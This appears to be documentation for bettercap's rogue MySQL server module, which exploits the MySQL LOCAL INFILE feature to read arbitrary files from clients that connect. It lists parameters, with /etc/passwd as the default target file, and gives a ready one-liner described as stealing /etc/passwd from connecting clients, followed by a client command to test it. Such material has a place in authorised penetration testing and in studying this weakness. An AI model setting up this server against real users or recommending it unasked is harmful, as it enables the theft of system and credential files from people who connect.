Skip to content

mysql.server (rogue)

A rogue MySQL server that can be used to exploit LOCAL INFILE and read arbitrary files from the client.

Start mysql server.

Stop mysql server.

ParameterDefaultDescription
mysql.server.address<interface address>Address to bind the mysql server to.
mysql.server.infile/etc/passwdFile you want to read. UNC paths are also supported.
mysql.server.outfileIf filled, the INFILE buffer will be saved to this path instead of being logged.
mysql.server.port3306Port to bind the mysql server to.

One liner to start the server and steal /etc/passwd from clients connecting to your Rogue MySQL server

Terminal window
sudo bettercap -eval "set mysql.server.infile /etc/hosts; mysql.server on"

Now connect to your MySQL server and observe the file output on the Bettercap terminal

Terminal window
mysql -u root -h 192.168.1.123 -pasdsasad --enable-local-infile